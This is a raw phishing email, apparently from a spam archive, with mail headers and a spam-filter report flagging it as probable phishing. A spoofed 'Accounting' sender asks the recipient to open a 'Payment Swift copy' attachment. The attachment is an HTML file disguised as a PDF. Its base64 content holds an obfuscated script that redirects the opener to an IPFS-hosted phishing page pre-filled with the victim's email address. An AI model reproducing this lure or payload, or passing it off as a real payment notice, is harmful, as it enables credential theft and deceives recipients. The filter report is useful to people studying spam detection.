Return-Path: Delivered-To: abonet+spam@sand163.sitesanctuary.org Received: from sand163.sitesanctuary.org by sand163.sitesanctuary.org with LMTP id mNuqNhzYLWdEGyMAfhI6Ng (envelope-from ) for ; Fri, 08 Nov 2024 09:21:32 +0000 Return-path: Envelope-to: sales@growthtrading.net Delivery-date: Fri, 08 Nov 2024 09:21:32 +0000 Received: from [154.216.18.111] (port=56332 helo=gmail.com) by sand163.sitesanctuary.org with esmtp (Exim 4.98) (envelope-from ) id 1t9LBL-00000009esS-10qi for sales@growthtrading.net; Fri, 08 Nov 2024 09:21:32 +0000 From: Accounting To: sales@growthtrading.net Date: 08 Nov 2024 01:20:21 -0800 Message-ID: <20241108012020.9D24D88E02791644@gmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_F4664535.E39EE24E" X-Spam-Status: Yes, score=23.1 X-Spam-Score: 231 X-Spam-Bar: +++++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "sand163.sitesanctuary.org", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: New Page 1 How are you Content analysis details: (23.1 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL [154.216.18.111 listed in psbl.surriel.com] 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: ipfs.io] 4.7 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL [154.216.18.111 listed in zen.spamhaus.org] 0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL blocklist [URI: ipfs.io/209.94.90.1] 0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is CUSTOM_MED 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [154.216.18.111 listed in bl.score.senderscore.com] 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider [janew551(at)gmail.com] 1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received' headers 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in digit [janew551(at)gmail.com] 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.0 KAM_SHORT Use of a URL Shortener for very short URL 3.0 URI_IPFSIO References Interplanetary File System PtP content via ipfs.io, likely phishing 3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing 0.0 T_HTML_ATTACH HTML attachment to bypass scanning? 0.0 URI_IPFS References Interplanetary File System PtP content, probable phishing 1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing list 0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [154.216.18.111 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [154.216.18.111 listed in sa-accredit.habeas.com] X-Spam-Flag: YES Subject: ***SPAM*** =?UTF-8?B?RndkOiBQYXltZW50IFN3aWZ0wqBjb3B5?= This is a multi-part message in MIME format. ------=_NextPart_000_0012_F4664535.E39EE24E Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Page 1

How are you
 

Find attached PAYMENT SWIFT COP= Y. as requested=20

kindly check with your bank for confirmation. 

 =20

Thanks
Accounting
Jane

 

-----Original Message-----
From: "Account Payables/Credit Control= Unit"
Date: 11/8/2024 1:20:20 a.m.
To: "Accounting"<janew551@gmail.com>
Subject: Fwd: Payment = Swift copy

 

Hello, Jane

Kindly forward  the attached Payment Swift copy=  to sales@grow= thtrading.net

Best Regards,
Account Payables/Credit Control Unit

------=_NextPart_000_0012_F4664535.E39EE24E Content-Type: text/html; name="Payment Swift copy.pdf.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Payment Swift copy.pdf.html" PHNjcmlwdD4NCjwhLS0gZ3ZndmhmZ24tLT4NCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCcl M0MlMjFET0NUWVBFJTIwaHRtbCUyMFBVQkxJQyUyMCUyMi0vL1czQy8vRFREJTIwWEhUTUwl MjAxLjAlMjBUcmFuc2l0aW9uYWwvL0VOJTIyJTBBJTBBJTIyaHR0cCUzQS8vd3d3LnczLm9y Zy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkJTIyJTNFJTBBJTNDaHRt bCUyMHhtbG5zJTNEJTIyJTIyJTNFJTBBJTNDaGVhZCUzRSUwQSUzQ21ldGElMjBodHRwLWVx dWl2JTNEJTIyQ29udGVudC1UeXBlJTIyJTIwY29udGVudCUzRCUyMnRleHQvaHRtbCUzQiUy MGNoYXJzZXQlM0Rpc28tODg1OS0xJTIyJTIwLyUzRSUwQSUzQ21ldGElMjBodHRwLWVxdWl2 JTNEJTIyUkVGUkVTSCUyMmNvbnRlbnQlM0QlMjIxJTNCdXJsJTNEJykpOw0KPC9zY3JpcHQ+ aHR0cHM6Ly9pcGZzLmlvL2lwZnMvUW1VSDRNaWZNVXFlb21rak4zeTNoYlFveW1NRE5rOW91 WFExem42OGRXNG1LRC8jc2FsZXNAZ3Jvd3RodHJhZGluZy5uZXQiPg0KPHRpdGxlPlVudGl0 bGVkIERvY3VtZW50PC90aXRsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjwvYm9keT4NCjwv aHRtbD4NCg== ------=_NextPart_000_0012_F4664535.E39EE24E--